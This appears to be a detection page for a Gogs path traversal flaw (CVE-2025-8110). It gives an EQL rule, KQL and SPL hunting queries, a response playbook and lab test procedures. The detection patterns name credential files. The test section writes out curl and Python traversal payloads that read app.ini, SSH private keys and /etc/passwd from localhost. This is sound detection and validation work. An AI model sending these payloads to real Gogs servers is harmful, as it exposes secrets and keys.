Detect Gogs Path Traversal Vulnerability (CVE-2025-8110) in Elastic Security
Detects exploitation attempts targeting CVE-2025-8110, a path traversal vulnerability (CWE-22) in Gogs self-hosted Git service. Attackers can craft malicious HTTP requests containing directory traversal sequences to read arbitrary files outside the intended web root, potentially exposing sensitive configuration files, SSH keys, or repository data. This vulnerability is listed in the CISA KEV catalog indicating active exploitation in the wild.
MITRE ATT&CK
Elastic Detection Query
sequence by source.ip with maxspan=5m
[network where event.category == "network" and network.direction == "inbound"
and (
url.path : ("*../*", "*%2e%2e%2f*", "*%2e%2e/*", "*..%2f*", "*%252e%252e*")
or url.original : ("*../*", "*%2e%2e%2f*", "*%2e%2e/*", "*..%2f*", "*%252e%252e*")
)
and (
url.path : ("*app.ini*", "*/etc/passwd*", "*/etc/shadow*", "*id_rsa*", "*.ssh/*", "*conf/app.ini*")
or url.original : ("*app.ini*", "*/etc/passwd*", "*id_rsa*", "*.ssh/*")
)
] with runs=1 EQL sequence detection that identifies path traversal patterns in HTTP request URLs targeting Gogs-specific sensitive files including the Gogs app.ini configuration file, SSH keys, and system credential files.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate automated backup or monitoring tools that traverse file paths via Gogs API
- Security scanners performing DAST testing on Gogs installations
- Misconfigured reverse proxies that pass raw path segments without normalization
- Integration tests in CI/CD pipelines that use traversal-like paths in test fixtures
Other platforms for CVE-2025-8110
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Basic Gogs Path Traversal - Read app.ini
Expected signal: HTTP GET requests to Gogs port (3000) with ../ and %2e%2e sequences in URI visible in access logs; 200 response with app.ini content if vulnerable, 400/403/404 if patched or WAF blocks
- Test 2Gogs Path Traversal - SSH Key Extraction
Expected signal: HTTP requests with mixed encoding traversal patterns (%2f for /) targeting .ssh and id_rsa paths; response codes and body sizes indicate exploitation success or failure
- Test 3Automated Gogs Traversal Scan with Multiple Encoding Variants
Expected signal: Burst of HTTP requests from single source IP within seconds, each containing different encoding variants of traversal sequences; some requests may return 200 with file content if instance is vulnerable
Response Playbook
Triage
- Identify the source IP addresses and user agents from HTTP access logs targeting the Gogs server with traversal patterns; correlate with known threat intelligence feeds to assess attacker attribution.
- Determine whether the traversal attempt successfully retrieved sensitive files by checking HTTP response codes (200 OK responses with unexpected content lengths indicate success) and correlating with Gogs application logs.
- Inspect the specific files targeted in traversal payloads — focus on app.ini (contains database credentials, secret keys), SSH host keys under .ssh/, and any custom configuration under the Gogs data directory.
- Review Gogs application logs at the configured log path (default: log/ under Gogs installation) for corresponding error messages, authentication events, or file access records around the time of detected traversal attempts.
- Check for subsequent authentication attempts using credentials that may have been exposed — look for new SSH key additions, API token creation, or repository access from new IPs following the traversal window.
Containment
- Immediately block the source IP(s) at the perimeter firewall or WAF and add traversal pattern rules to block encoded variations (%2e%2e, %252e, %2f encodings) targeting the Gogs HTTP port.
- Rotate all secrets exposed in Gogs app.ini including the database password, secret key (used for session signing), and any configured OAuth/LDAP credentials; invalidate all active sessions by rotating the internal token.
- Place the Gogs instance behind a WAF with path normalization enabled and apply virtual patching rules to block traversal sequences while a permanent patch is applied.
- If successful file read is confirmed, treat the host as compromised: isolate the server, revoke all SSH keys stored in the Gogs data directory, and audit repository access logs for unauthorized clones or data exfiltration.
Evidence Collection
- Capture full HTTP access logs for the Gogs server covering the attack window, including request headers, full URI, response codes, and response sizes; preserve original log files with hash verification before any log rotation.
- Extract Gogs application logs from the configured log directory and collect system-level file access audit logs (auditd on Linux) to establish whether traversal attempts resulted in actual file reads from the filesystem.
- Snapshot the Gogs data directory structure and record current file modification timestamps to identify any files written or modified by the attacker as a secondary action after initial traversal.
Escalation Criteria
- !Escalate immediately to incident response if HTTP 200 responses with non-empty bodies are observed for traversal requests targeting app.ini, SSH keys, or /etc/passwd — indicating successful credential or key exposure.
- !Escalate if post-exploitation indicators emerge: new SSH keys added to Gogs user accounts, repository webhooks pointing to external IPs, or new admin accounts created within 24 hours of traversal activity.
- !Escalate if the Gogs instance is internet-facing and stores repositories belonging to multiple organizations or contains code signing infrastructure, secrets, or CI/CD pipeline configurations.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
HTTP access logs containing raw and URL-encoded traversal sequences (%2e%2e, %252e%252e, ../) targeting /custom/conf/app.ini or the Gogs configuration path - >
Gogs application log entries (typically at <gogs-data>/log/gogs.log) showing file access errors or unexpected path resolution events - >
Linux auditd records (SYSCALL type=OPEN) showing the Gogs process opening files outside its expected working directory - >
Network flow records showing HTTP responses with anomalously large body sizes from the Gogs port, indicating successful file content exfiltration - >
Gogs database records (user table, access_token table) for newly created tokens or modified SSH keys following the traversal window
Tuning Guidance
Reduce false positives by establishing a baseline of legitimate Gogs traffic patterns and filtering known security scanner IPs (Qualys, Tenable, Rapid7 cloud scanners) via an allowlist. Adjust the sensitive file target list to match your specific Gogs deployment paths — if using a non-default data directory, update regex patterns accordingly. For environments with aggressive URL encoding by reverse proxies (nginx proxy_pass with encoding), add a decoding step and re-evaluate. Consider raising the request_count threshold to 3+ if single-request traversal attempts from your WAF testing generate noise, but keep at 1 for internet-facing deployments given CISA KEV status.
Hunting Queries
Hunt for historically successful path traversal attempts (HTTP 200 responses) against Gogs instances over the past 30 days to identify prior undetected exploitation and scope of potential data exposure
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where RequestURL matches regex @"(\.\./|%2e%2e|%252e)"
| where DeviceAction != "Blocked"
| summarize SuccessfulTraversals=countif(EventOutcome == "200"), TotalAttempts=count(), UniqueTargets=dcount(RequestURL) by SourceIP, bin(TimeGenerated, 1h)
| where SuccessfulTraversals > 0
| order by SuccessfulTraversals desc index=web sourcetype=access_combined status=200
| eval decoded_uri=urldecode(uri)
| where match(decoded_uri, "(\\.\\./|%2e%2e)")
| where match(decoded_uri, "(app\\.ini|etc/passwd|id_rsa|\\.ssh)")
| stats count AS hits, values(uri) AS successful_paths BY clientip, host
| sort -hits Correlate successful path traversal events with subsequent suspicious activity (new API tokens, OAuth grants, or unusual repository access) to identify post-exploitation pivot chains
AuditLogs
| where TimeGenerated > ago(7d)
| union (SigninLogs | where TimeGenerated > ago(7d))
| where OperationName has_any ("Add OAuth2.0 permission", "Add service principal", "Create application")
| join kind=inner (
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where RequestURL matches regex @"(\.\./|%2e%2e)"
| summarize TraversalTime=min(TimeGenerated) by SourceIP
) on $left.IPAddress == $right.SourceIP
| where TimeGenerated > TraversalTime
| project TimeGenerated, OperationName, IPAddress, UserPrincipalName, TraversalTime index=web status=200 [search index=web | eval decoded=urldecode(uri) | where match(decoded, "\.\.[\/\\]") | fields clientip | rename clientip AS src_ip]
| eval post_exploit_window=relative_time(now(), "-24h")
| where _time > post_exploit_window
| stats count BY clientip, uri, status
| join clientip [search index=git_audit OR index=gogs | stats count BY src_ip | rename src_ip AS clientip] Atomic Red Team Tests
Simulate a basic path traversal attack against a local Gogs instance to read the application configuration file containing database credentials and secret keys.
Command
# Lab environment only - requires local Gogs instance on port 3000
GOGS_HOST="http://localhost:3000"
# Test raw traversal
curl -v "${GOGS_HOST}/../../custom/conf/app.ini"
# Test URL-encoded traversal
curl -v "${GOGS_HOST}/%2e%2e%2f%2e%2e%2fcustom%2fconf%2fapp.ini"
# Test double-encoded traversal
curl -v "${GOGS_HOST}/%252e%252e%252f%252e%252e%252fcustom%252fconf%252fapp.ini" Cleanup
No cleanup required — read-only operation. Review Gogs access logs at <gogs-data>/log/ and delete test log entries if needed. Expected Telemetry
HTTP GET requests to Gogs port (3000) with ../ and %2e%2e sequences in URI visible in access logs; 200 response with app.ini content if vulnerable, 400/403/404 if patched or WAF blocks
Expected Detection
Alert triggered on path traversal pattern match in web access logs with app.ini target indicator; SPL and KQL queries should fire within one log ingestion cycle
Attempt to read SSH private keys from the Gogs host system via path traversal, simulating an attacker targeting authentication credentials for lateral movement.
Command
# Lab environment only - requires local Gogs instance
GOGS_HOST="http://localhost:3000"
# Attempt to read root SSH authorized_keys
curl -v "${GOGS_HOST}/..%2f..%2f..%2f..%2froot%2f.ssh%2fauthorized_keys"
# Attempt to read Gogs service account SSH keys
curl -v "${GOGS_HOST}/..%2f..%2f..%2f..%2fhome%2fgit%2f.ssh%2fid_rsa"
# Attempt to read /etc/passwd for user enumeration
curl -v "${GOGS_HOST}/..%2f..%2f..%2fetc%2fpasswd" Cleanup
No cleanup required — read-only test. Verify test attempts appear in web server access logs for detection validation. Expected Telemetry
HTTP requests with mixed encoding traversal patterns (%2f for /) targeting .ssh and id_rsa paths; response codes and body sizes indicate exploitation success or failure
Expected Detection
Detection fires on .ssh and id_rsa keyword match combined with traversal pattern; EDR telemetry may show Gogs process opening files in /root or /home directories outside expected Gogs data path
Simulate a threat actor using an automated tool to try multiple encoding variants of path traversal against Gogs, matching observed KEV exploitation behavior with encoding evasion techniques.
Command
# Lab environment only - requires local Gogs instance and Python 3
GOGS_HOST="http://localhost:3000"
python3 - <<'EOF'
import urllib.request
import urllib.parse
target = "http://localhost:3000"
payloads = [
"/../../../etc/passwd",
"/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
"/%252e%252e/%252e%252e/%252e%252e/etc/passwd",
"/..%2f..%2f..%2fetc%2fpasswd",
"/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"/....//....//etc/passwd",
"/%2e%2e%5c%2e%2e%5cetc%5cpasswd",
"/../../../custom/conf/app.ini",
"/%2e%2e%2f%2e%2e%2fcustom%2fconf%2fapp.ini"
]
for payload in payloads:
url = target + payload
try:
req = urllib.request.Request(url)
with urllib.request.urlopen(req, timeout=5) as resp:
status = resp.status
body_preview = resp.read(100)
print(f"[{status}] {payload} -> {body_preview[:50]}")
except Exception as e:
print(f"[ERR] {payload} -> {e}")
EOF Cleanup
No cleanup required. Review generated HTTP access logs to confirm all payload variants were logged and triggered detections appropriately. Expected Telemetry
Burst of HTTP requests from single source IP within seconds, each containing different encoding variants of traversal sequences; some requests may return 200 with file content if instance is vulnerable
Expected Detection
Multiple detection rule variants should fire across KQL/SPL/EQL queries; rate-based detection should identify the enumeration pattern; WAF should log blocked traversal attempts if configured with normalization rules